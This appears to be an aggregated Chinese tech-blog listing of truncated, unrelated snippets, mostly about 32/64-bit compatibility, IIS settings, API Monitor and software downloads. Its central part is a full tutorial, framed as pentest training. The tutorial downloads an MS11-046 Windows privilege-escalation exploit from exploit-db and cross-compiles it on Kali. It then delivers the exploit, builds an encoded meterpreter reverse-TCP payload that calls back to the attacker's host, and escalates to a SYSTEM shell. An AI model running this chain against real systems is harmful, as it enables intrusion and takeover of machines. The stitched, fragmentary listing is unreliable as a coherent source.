-
如何让32位编译的程序在64位系统中正常运行
2014-05-22 18:59:22虽然,64位系统支持32位程序,但是是有条件的,因为系统对CPU的操作有所变化,有的有32位上操作,就不能在64位在操作了。比如,软件通过调用底层,通过汇编读写数据的源程序,在32位上运行自如,在64位上就出现问题...操作系统从32位步入64位,对于用户来说是质的飞跃。由于CPU读取数据宽度增加1倍,速度和精度都带来了跨跃。同时,CPU的读写方式的改变,对于程序员来说,需要适应跟进。虽然,64位系统支持32位程序,但是是有条件的,因为系统对CPU的操作有所变化,有的有32位上操作,就不能在64位在操作了。比如,软件通过调用底层,通过汇编读写数据的源程序,在32位上运行自如,在64位上就出现问题,执行出错。
在开发工具方面,基于Java、.NET的工具可以很顺利地支持64位平台。因为,它们不通过调用底层实现代码,而是基于.Net调用实施。对于Delphi来说,由于它是与操作系统紧密相关的,与它相关的数据类型,操作系统的SDK等变化都会很大,所以从32位到64位的迁移就会出现一些困难。至于汇编语言,它的变化就会更大了。
最近笔者,遇到一个问题:在32位上编译的(C/S)三层数据库管理系统,由于客户服务器操作系统由32位升级到64位,以至原服务器端(程序)不能在64位服务器系统上运行。为此,笔者通过改进代码,最终实现“32位程序可以在64位系统正常运行”的目的。下面是笔者,初步实践,仅供同仁参考:
1、对于涉及到ASM代码的单元进行修改,采用API取代。
2、对于一些引用的读写硬件的单元,多数采用ASM代码,取消引用该类单元。
3、尽可能不使用第三方控件。特别是,无源代码的第三方控件。(内含ASM代码)
4、修改后的读写硬件的单元,要分别在64位机器中,调试。主要验证:
(1)可以运行(支持代码)。
(2)返回值32位与64位一致。通过,上述代码改进。编译后的程序。在64位上正常运行。
-
配置:使安装在64位系统上的IIS7支持32位的应用程序
2014-08-26 12:19:57这节我们讨论如何配置IIS7,让32位的Web应用程序在64位的系统上运行。 1.打开IIS,并在IIS上建立一个Web站点。 2.定位该站点的应用程序池。 3.编辑该应用程序池的属性“启用32位...在软件开发领域,最重要的一点也是保持软件业稳步推进的因素是:软件的向下兼容。这节我们讨论如何配置IIS7,让32位的Web应用程序在64位的系统上运行。
1.打开IIS,并在IIS上建立一个Web站点。
2.定位该站点的应用程序池。
3.编辑该应用程序池的属性“启用32位的应用程序”。
-
如何在Kali Linux上编译Windows漏洞!
2017-08-15 09:57:00Mingw-w64最初叫Mingw32,它当时不支持64位架构。 在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。 1、在Kali Linux上安装Mingw-w6...Mingw-w64是一个用于创建Windows应用程序的自由和开源软件开发环境。 Mingw-w64最初叫Mingw32,它当时不支持64位架构。
在本教程中,我们将讨论如何使用Mingw-64在 Kali Linux上编译Windows漏洞。 让我们开始在Kali Linux上安装Mingw-w64。
1、在Kali Linux上安装Mingw-w64
默认情况下,Kali Linux 2016.2和更低版本上未安装Mingw-w64。 因此,我们需要先安装它,然后才能在Linux上编译Windows漏洞。 执行以下命令,安装Mingw-w64:
- apt-get update
- apt-get install mingw-w64
使用apt-get install mingw-w64在您的Kali主机上安装mingw-w64。
键入y为yes,以确认并继续Mingw-w64安装过程。 下载和安装Mingw-w64可能需要一段时间才能完成。
2、无法找到程序包mingw-w64的解决方法
有时,你尝试安装mingw-w64包时得到一个无法找到包mingw-w64的错误,并得到类似如下提示:
- root@kali:~# apt-getinstall mingw-w64
- Reading package lists…Done
- Building dependency tree
- Reading stateinformation… Done
- E: Unable to locatepackage mingw-w64
要解决这个问题,请确保在sources.list文件中具有正确的存储库。您可以使用nano编辑文件:
/etc/apt/sources.list
确保您在此文件中具有正确的存储库。 您可以在以下页面上找到不同版本的Kali Linux的存储库:
http://docs.kali.org/general-use/kali-linux-sources-list-repositories
使用sources.list文件中的正确的存储库,您需要运行apt-get update,然后再次运行Mingw-w64软件包的安装命令。
3、用Mingw-w64交叉编译Windows漏洞利用
现在我们已经安装了Mingw-w64,可以开始编译Windows漏洞利用程序了。 对于本教程,我们将编译一个用C编写的Windows漏洞利用程序,以利用Windows 7 SP0 x86中的CVE-2011-1249(MS11-046)漏洞。 此版本的Windows操作系统在辅助功能驱动程序(AFD)中包含一个漏洞,允许已认证的非管理用户提升权限。即使Mingw-w64是为非常需要的64位支持开发的,我们也可以编译32位Windows漏洞。 让我们来看看如何编译32位Windows漏洞。
让我们从Exploit-db下载漏洞:
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
使用以下命令编译Windows 32位的afd.sys exploit:
i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32
以下命令将编译Windows 7 afd.sys特权升级漏洞:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
编译Windows漏洞。
要将漏洞利用程序转移到目标主机,我们将使用内置的ApacheWeb服务器来提供它。 最后2个命令会将exploit复制到Apache主目录并启动Apache Web服务器。
当我们从cmd.exe下载并执行该漏洞时,它将如下所示:
漏洞利用成功执行。
因为我们可以看到whoami命令在执行exploit之前返回一个普通用户权限,之后显示是system用户权限。这个exploit实际上在当前shell中生成一个新的shell,而不是在新窗口中创建一个新的shell。这意味着我们也可以从命令行shell运行此漏洞利用程序,例如Meterpreter。让我们看看如何从Meterpreter会话运行漏洞利用。
4、利用编译错误
当编译针对不同架构和操作系统的漏洞时,可能会发生许多错误。有很多因素可能导致编译失败,例如:语法,库,主机和目标体系结构,用于编译代码的已安装软件等等。一些错误可能很容易修复,有些错误则不是。同样重要的是不同的警告来自致命的错误,因为警告可能只是指示一些类似的过时的功能,不能阻止漏洞的工作。致命错误会阻止漏洞利用,因此需要修复。
处理编译错误的最佳方法是仔细阅读,然后在Google上搜索解决方案。通常你不是第一个也不是唯一面对某个编译错误的人,因此没有必要重新发明轮子。在线资源(如堆栈交换)通常为您提供最常见的编译错误的可能解决方案。
5、从Meterpreter shell中利用MS11-046
让我们使用Msfvenom快速生成Windows 32位Meterpreter反向TCP有效负载,并在目标主机上执行它。 我们将在Metasploit中使用多处理程序来捕获反向shell。
使用以下命令使用Msfvenom创建有效负载:
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe
请务必更换侦听主机IP,必要时更换侦听端口。现在启动msfconsole并运行以下命令来设置多处理器漏洞:
- use exploit/multi/handler
- set lhost [listening host IP]
- set lport 4444
- run
在端口4444上启动反向TCP处理程序。
然后下载利用程序到目标主机并执行它。 如果一切设置正确,您应该在msfconsole上收到一个反向Meterpreter shell:
目标主机连接回Kali。
在Meterpreter命令行上运行下一“shell”命令并运行特权升级漏洞利用程序将shell升级到系统shell:
特权升级攻击通过我们的Meterpreter会话成功执行。
正如你可以看到的,shell从特权测试用户shell变化到系统shell。 请注意,在执行它的shell中生成一个新的系统shell。 因此,我们不能看到利用输出,因为它是在有限的特权的旧shell。
您可以通过键入Exit来验证这一点,将退出系统shell并返回到仍包含Windows 7权限升级exploit输出的用户shell:
特权用户shell上的exploit输出。
学到的东西
在本教程中,我们已经了解了在Linux上针对Windows的交叉编译漏洞的基础知识。 我们已经学习了如何在Kali Linux上安装Mingw-w64并解决最常见的安装问题。 为了练习漏洞编译过程,我们编译了一个针对Windows7 x86的特权提升漏洞。 这也称为交叉编译。
我们已成功的在目标主机上执行已编译的可执行文件,并将shell从有限的用户shell升级到系统shell。 我们已经知道,这个特殊的exploit在shell中生成了一个shell,在这个shell中执行了exploit。 这样,我们还可以从命令行(例如Meterpreter shell)执行特权提升漏洞利用。
最后但同样重要的是,我们已经了解了如何在编译过程中修复错误。
作为一个道德黑客和渗透测试者,建议咨询资源,如堆栈交换,以搜索解决方案的编译错误。
作者:曹伯广来源:51CTO -
APIMonitor简介(API监控工具)
2021-01-27 13:43:07API监控支持监控的64位应用程序和服务。64位版本只能用来监视64位应用程序和32位版本仅可用于监测的32位应用程序。 要监视在64位Windows的32位应用程序,您必须使用32位版本。请注意,64位安装程序的API监测包括64位... -
APIMonitor的使用
2021-01-27 13:43:15APIMonitor是一个免费软件,可以让你监视和控制应用程序和服务,取得了API调用。它是一个强大的工具,看到的...64位版本只能用来监视64位应用程序和32位版本仅可用于监测的32位应用程序。 要监视在64位Windows的32位 -
API Monitor简介(API监控工具)
2020-10-28 15:58:0164位版本只能用来监视64位应用程序和32位版本仅可用于监测的32位应用程序。 要监视在64位Windows的32位应用程序,您必须使用32位版本。 请注意,64位安装程序的API监测包括64位和32位版本。 摘要视图与语法高亮 ...API Monitor是一个免费软件,可以让你监视和控制应用程序和服务,取得了API调用。 它是一个强大的工具,看到的应用程序和服务是如何工作的,或跟踪,你在自己的应用程序的问题。
64位支持
API监控支持监控的64位应用程序和服务。 64位版本只能用来监视64位应用程序和32位版本仅可用于监测的32位应用程序。 要监视在64位Windows的32位应用程序,您必须使用32位版本。 请注意,64位安装程序的API监测包括64位和32位版本。
摘要视图与语法高亮
摘要窗口显示的API调用的信息。 这包括线程ID,并且作出API调用,与所有的参数和返回值的语法高亮API调用的DLL的名称。 如果API调用失败,也显示有关错误的信息。
13000 API定义,1,300多种COM接口
API显示器自带的API定义为超过13,000 API的几乎200 DLL的和超过17,000方法从1,300多种COM接口(Shell,Web浏览器,DirectShow,DirectSound,DirectX,Direct2D,DirectWrite,Windows图像处理组件,调试器引擎,MAPI等)。 API的被组织成类别和子类别(如MSDN中指定)。 该API捕获过滤器允许您选择的API进行监视。
结构,联合,枚举和标志
API Monitor可以解码和显示2000种不同的结构和联合,1000+枚举数据类型,800+标志。 数组内的结构,缓冲器和数组,也可以观看。
缓冲区查看
API监视器可以显示输入和输出缓冲区。 显示的数据的量是从其他参数的API,或从所述API返回值自动计算。 数据的被捕获的最大量是可配置的。 下面的屏幕截图显示了ReadFile的 API调用后缓冲区。 长度lpBuffer通过查看lpNumberOfBytesRead的值的API调用已经执行后计算。 在这种情况下,返回的值是174,这是所显示的缓冲区的长度。
调用树
API监测显示一个调用树,显示API调用的层次结构。 下面的屏幕截图显示了CoGetClassObject调用由Visual Basic应用程序加载微软的Winsock ActiveX控件打了一个调用树。 ActiveX控件MSWINSCK.OCX使得调用WSAStartup和CreateWindowExA从DllMain中。
解码参数和返回值
两个参数和返回值可以显示为一个用户友好的格式。 下面的第一张截图,为参数值正常观看。 第二个屏幕显示经解码的参数值。 对于dwShareMode,API监视器显示FILE_SHARE_DELETE | FILE_SHARE_READ,而不是5,当解码参数值启用选项。此选项无论在参数窗格和摘要窗格可用。
断点
API监视器可以让你通过API调用设置断点控制目标应用程序。 断点可以在API调用前被触发,在API调用后,在API故障,或如果API生成异常。 预调用断点允许你修改它们的参数传递给API之前,还是跳过API调用,并指定返回值和过去的错误代码。 后打电话错误断点允许你修改参数,返回值和过去的错误代码它们传递给调用者之前。 异常断点使你可以捕捉异常,以防止一个目标应用程序可能的崩溃。 全球断点也可以在API错误和异常引发的。 全部自动完成支持适用于所有支持枚举数据类型和标志。
监控,而无需创建定义
API监控器现在可以监控任何DLL任何API,而无需XML定义来创建的。 新添加的外部DLL筛选允许DLL的添加和一个根据需要去除。 一旦DLL被添加,过滤器的工作原理完全一样,捕获过滤器; 个别的API可以被选择用于监测和断点可以设置。 此外,可任意指定从它们这些API的捕获参数的数目。 外部DLL过滤器也可以保存到一个文件中,允许多个集的DLL的基于目标应用程序加载。
进程内存编辑器
API监测包括内存编辑器,可以让你查看,编辑和在任何过程中分配内存。 内存编辑器还允许您更改的内存区域的保护。 在一个断点,内存编辑器可用于在目标进程查看和修改缓冲区。 在运行过程中的窗口上的任何程序或服务右键单击启动内存编辑器。
调用过滤
API监控包括动态调用过滤功能,它允许您隐藏或显示基于一定的标准API调用。 超过25个不同的领域可以根据被过滤。 过滤可以用于,例如,发现时间超过50毫秒,以执行或以查看失败并返回错误代码2的Unicode API调用调用。
COM监控
API监视器支持监视COM接口。 下面的屏幕截图显示了DirectShow中取得的GraphEdit COM方法调用。
API监视器可以解码GUID的,IID的和REFIID的,并在人类可读的格式显示出来
解码错误代码
当API调用失败,API Monitor可以调用相应的错误函数来获取有关该错误的附加信息。 GetLastError函数,CommDlgExtendedError,于WSAGetLastError功能的支持。 此外,NTSTATUS和HRESULT错误代码可以显示在一个友好的格式。 在下面的截图中,API 连接失败。 API监视器确定的错误代码通过调用于WSAGetLastError并显示两个错误代码和红色的错误消息。
调用堆栈
API监视器可以让你捕获和查看每个API调用的调用堆栈。 下面的屏幕截图显示了NtCreateFile API调用堆栈。
多个布局选项
在此版本的图形用户界面已被完全写入,并提供了许多有用的功能。 一些预先定义的布局可供选择,但是,您可以选择创建自己的自定义布局。 该GUI分为可停靠窗口“API捕获过滤器”,“正在运行的进程”,“输出”,“参数”,“十六进制缓冲区”,“调用栈”和“上钩进程”。 每个这些窗口可以被设置为“对接”,“浮动”,“隐藏”或“自动隐藏”。
进程视图
正在运行的进程窗口显示正在运行的进程和服务,可以挂接的列表。 您也可以右键点击任何程序来启动内存编辑器。
服务监控
支持Windows服务的监控。 下面的屏幕截图显示,当一个文件被打印到Microsoft XPS文档作家的Print Spooler服务的呼叫。 请注意,以使监控的服务,您的用户帐户必须有足够的权限(在Vista及以后系统中管理员模式)。
自定义DLL监控
API监视器支持创建任何DLL定义。 定义XML格式创建
主题
带钩进程窗口显示先前上瘾或正在监视的进程。 不断扩大的过程中显示该进程中的所有线程。 标有“M”的线程是该进程的主线程。 标有“W”线程的工作线程。 不活动的主题是灰色的,并且还标有其图标的红色正方形。 每个线程显示线程ID,开始地址为线程。
要求
Windows 2000和Windows XP 32位的Windows XP 64位版x64,Windows Vista 32位版,Windows Vista 64位版x64,Windows 7 32位,Windows 7的64位x64 的Windows 8 32位,Windows 8的64位x64
下载
API Monitor v2 (Alpha-r13) - x86 32-bit - - 32-bit for Windows 2000, Server 2003, XP, Vista, Windows 7, Server 2008 and Windows 8
API Monitor v2 (Alpha-r13) - x64 64-bit - - 64-bit for Windows XP, Vista, Windows 7, Server 2008 and Windows 8 x64 (Includes 32-bit version)
API Monitor v2 (Alpha-r13) - Portable - - Portable - Runs without installing - 32-bit and 64-bit -
API Monitor(API监控工具)
2017-10-18 10:23:20概观 API Monitor是一个免费软件,可以让你监视和控制应用程序和服务,取得了API调用。... 64位版本只能用来监视64位应用程序和32位版本仅可用于监测的32位应用程序。 要监视在64位Windows的32位 -
API Monitor简介(API监控工具)(转)
2018-11-12 14:49:18API Monitor简介(API监控工具) API Monitor是一个免费软件,可以让你监视和控制应用程序和服务,取得了API调用... 64位版本只能用来监视64位应用程序和32位版本仅可用于监测的32位应用程序。 要监视在64位Windo... -
LINGO软件的学习
2009-08-08 22:36:50销量 35 37 22 32 41 32 43 38 使用LINGO软件,编制程序如下: model: !6发点8收点运输问题; sets: warehouses/wh1..wh6/: capacity; vendors/v1..v8/: demand; links(warehouses,vendors): cost, volume; ... -
phpStudy 2016.10.31 再次更新,支持自定义php版本
2017-03-06 14:17:5464位的VC9运行库下载:http://www.microsoft.com/zh-CN/download/details.aspx?id=15336 VC11运行库下载:http://www.microsoft.com/zh-CN/download/details.aspx?id=30679 不能启动 参照:... -
NetSupport School 课堂管理软件(简体中文版)
2014-09-05 16:53:07客户端属性正确识别 Windows 8(32 位或 64 位)。 教师端工具栏中新风格的下拉列表可以设置更多选项。 能够直接从教师端工具栏发送快速自定义消息。 能够直接从教师端工具栏中选择要展示的视频。 能够直接从教师端... -
网管教程 从入门到精通软件篇.txt
2010-04-25 22:43:49网管教程 从入门到精通软件篇 ★一。★详细的xp修复控制台命令和用法!!! 放入xp(2000)的光盘,安装时候选R,修复! Windows XP(包括 Windows 2000)的控制台命令是在系统出现一些意外情况下的一种非常有效的... -
coolorus插件_PS插件Coolorus2.5.14配色神器 安装教程
2020-11-28 23:38:00:1.19 MB[语言]:简体中文[支持系统]:Win XP/Win7/Win8/Win10[32/64位下载链接]:pan.baidu.com/s/1j9xAE75Tc3X-V7zkD-B5_w[提取码]:31zv如何判断电脑是32位还是64位点我查看软件介绍配色在后期设计中占有主导... -
cFosSpeed v10.21.2284 技嘉免激活版本
2017-10-03 20:39:314:包含32位和64位安装包,无精简语言。 by jason_jiang (10.09.2228) ㅡ无主板使用限制,免注册码安装即可使用! ㅡ基于XFast Lan ASRock华擎OEM版制作,通过微软WHQL认证; (此OEM版为华擎向cFos要求定制,零售... -
Starwind6.0_with_free_license
2014-11-25 17:07:02x86和x64机器的本地的32位和64位二进制文件。 不像有些iSCSI target产家,我们不会强迫我们的客户在WOW(Windows on Windows)仿真模式的x64机器上使用32位二进制文件(AMD64 和 EMT64)。 当使用Microsoft iSCSI ... -
NT Locale Emulator Advance (中文名稱: NT全域通)
2009-07-13 19:13:59注:这里所说的位域是指二进制数的数位,一个整数最多拥有32个位域,第x位域的值等于2的x次方。 3. "Cx" 说明:指定页码。x为页码ID。 4. "Lx" 说明:指定语言。x为语言区域ID。 5. "Tx" 说明:指定时区修正。x为... -
计算机系统
2018-05-03 18:21:28处理器体系结构修改为支持64位字和操作的设计。 引入更多的功能单元和更复杂的控制逻辑,使基于程序数据流表示的程序性能模型预测更加可靠。 扩充关于用GOT和PLT创建与位置无关代码的讨论,描述了更加强大的链接... -
StarWind5.4企业版
2013-06-10 13:09:47x86和x64机器的本地的32位和64位二进制文件。 不像有些iSCSI target产家,我们不会强迫我们的客户在WOW(Windows on Windows)仿真模式的x64机器上使用32位二进制文件(AMD64 和 EMT64)。 当使用Microsoft iSCSI ... -
asp.net知识库
2015-06-18 08:45:45常用编码工具类,支持base64,md5,des,crc32 也谈谈技术面试 在C#里把ArrayList转换为Array 或 把Array转换为ArrayList C# 2.0 在.NET 2.0中,让你的组件也可以绑定 .NET20 一种简单的窗口控件UI状态控制方法 翻译MSDN... -
C++程序员面试宝典
2013-04-01 13:36:19而招聘单位为了得到高素质的员工往往采用各种形式的面试考察求职者,这让面试难度大大增加。求职者要想成功应聘,不仅需要扎实的基本功,还需要经受情商和智商的考验。 本书通过380余个面试题,对企业招聘C/C++...
-
cannot find output in imported module librosa报错解决
-
刑法--期末复习知识点总结.pdf
-
浙江科技学院《自动控制原理》考试题整理.pdf
-
MySQL 索引
-
2021年 系统分析师 系列课
-
岳阳职业技术学院《电力电子技术》试卷库(多套试卷且含答案).pdf
-
实现 MySQL 读写分离的利器 mysql-proxy
-
浙江科技学院《C语言程序设计》两套期末考试试卷(含答案).pdf
-
access应用的3个开发实例
-
Vue3.0学习笔记-Vue初体验
-
MySQL 函数、用户自定义函数
-
刑法学--期末复习题(含答案).pdf
-
docker 基本组成
-
西京学院《多媒体技术及应用》期末考试试卷.pdf
-
前端构架模式MVC与MVVM
-
武汉理工大学《物理化学》期末考试试卷(含答案).pdf
-
MySQL NDB Cluster 负载均衡和高可用集群
-
云开发后台+微信扫码点餐小程序+cms网页管理后台 含后厨端和用户端
-
机器人的运动范围(有疑问,需要后续学习)
-
hibernate5.0.2Set.rar